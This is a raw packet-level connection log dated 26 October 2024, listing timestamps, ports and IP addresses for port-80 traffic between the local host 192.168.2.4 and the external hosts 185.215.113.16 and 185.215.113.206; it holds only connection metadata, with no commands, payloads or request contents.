Oct 26, 2024 05:54:48.460616112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.460650921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.460660934 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.460688114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.460731983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.460732937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.460783005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.460813046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.460836887 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.460865021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.460899115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.461014986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.461050034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.461067915 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.461067915 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.461144924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.461174011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.461189985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.501327991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.501363993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.501398087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.501419067 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.501487970 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.541691065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.541891098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.541920900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.542072058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.583599091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.588398933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.588433981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.588488102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.588488102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.621892929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.621926069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.621961117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.621968985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.621989965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.622006893 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.622029066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.622059107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.622072935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.622109890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.622143030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.622152090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.622191906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.622226954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.622242928 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.622549057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.622597933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.622621059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.622654915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.622689009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.622693062 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.622876883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.622919083 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.622929096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.622962952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.623003006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.623061895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.673294067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.673330069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.673363924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.673443079 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.673444033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.694242001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:48.694384098 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:48.695270061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:48.700884104 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:48.702922106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.702975988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.703002930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.703022957 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.749367952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.749484062 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.749486923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.749516010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.749548912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.749562979 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.783062935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783113003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783130884 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.783147097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783174992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783195972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.783226013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783260107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783272982 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.783288956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783340931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783345938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.783376932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783405066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783418894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.783440113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783478975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783489943 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.783544064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783586979 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.783654928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783688068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783730984 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.783797979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783848047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783880949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783890963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.783916950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.783958912 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.783965111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.823865891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.823925972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.823934078 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.823956013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.823987961 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.823999882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.864376068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.864409924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.864449978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.864481926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.864511967 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.864541054 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.910975933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.911035061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.911047935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.911082029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.911123037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.911125898 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.944696903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.944802046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.944822073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.944856882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.944890022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.944900990 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.944924116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.944957972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.944967985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.945014954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.945049047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.945061922 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.945102930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.945142984 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.945152044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.945187092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.945219994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.945231915 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.945270061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.945302963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.945312023 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.945337057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.945369005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.945379972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.945698023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.945744038 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.976197958 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:48.976253986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:48.976289988 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:48.976362944 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:48.985440016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.985469103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.985521078 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.985572100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.985635996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.985681057 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.037362099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.037405968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.037441969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.037453890 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.056006908 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:49.061590910 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.072823048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.072858095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.072873116 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.073415995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.073445082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.073462009 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.105473995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.105493069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.105516911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.105530024 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.105534077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.105547905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.105562925 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.105562925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.105580091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.105583906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.105613947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.105786085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.105854034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.105891943 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.105895996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.105917931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.105971098 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.105988026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.106050014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.106065989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.106081009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.106086969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.106117010 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.106153965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.106414080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.106430054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.106441021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.106451988 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.106477022 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.106597900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.106630087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.106642962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.106664896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.146800995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.146898031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.146920919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.146935940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.148207903 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.187078953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.187115908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.187149048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.187171936 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.234138966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.234170914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.234189987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.234206915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.234359026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.266910076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.266940117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.266992092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267018080 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.267025948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267086983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267096996 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.267131090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267169952 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.267227888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267281055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267375946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.267379999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267430067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267465115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267479897 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.267532110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267576933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.267611027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267638922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267684937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.267746925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267796993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267829895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267839909 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.267898083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267930984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.267941952 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.308197021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.308324099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.308340073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.308398008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.308428049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.308448076 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.336992025 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.337148905 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.337150097 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:49.337179899 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.337213993 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:49.337234974 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.337245941 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:49.337271929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.337291002 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:49.337306023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.337332010 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:49.337333918 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.337380886 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:49.337380886 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:49.337405920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.337459087 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:49.339117050 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:49.344436884 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:49.348558903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.348608971 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.348611116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.348640919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.348690987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.395421982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.395462036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.395497084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.395605087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.428261995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.428365946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.428397894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.428432941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.428455114 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.428471088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.428498983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.428499937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.428519011 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.428724051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.428756952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.428771973 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.428814888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.428848982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.428881884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.428894043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.428922892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.428951025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.428986073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.429020882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.429032087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.429056883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.429112911 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.429177999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.429214001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.429254055 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.429275036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.429349899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.429392099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.469527960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.469572067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.469609976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.469625950 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.469646931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.469692945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.509835005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.509938002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.509978056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.509995937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.552249908 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.556854010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.556900978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.556938887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.556957006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.589773893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.589896917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.589934111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.589986086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590023041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:49.590039015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:49.590039015 CEST	49742	80	192.168.2.4	185.215.113.16
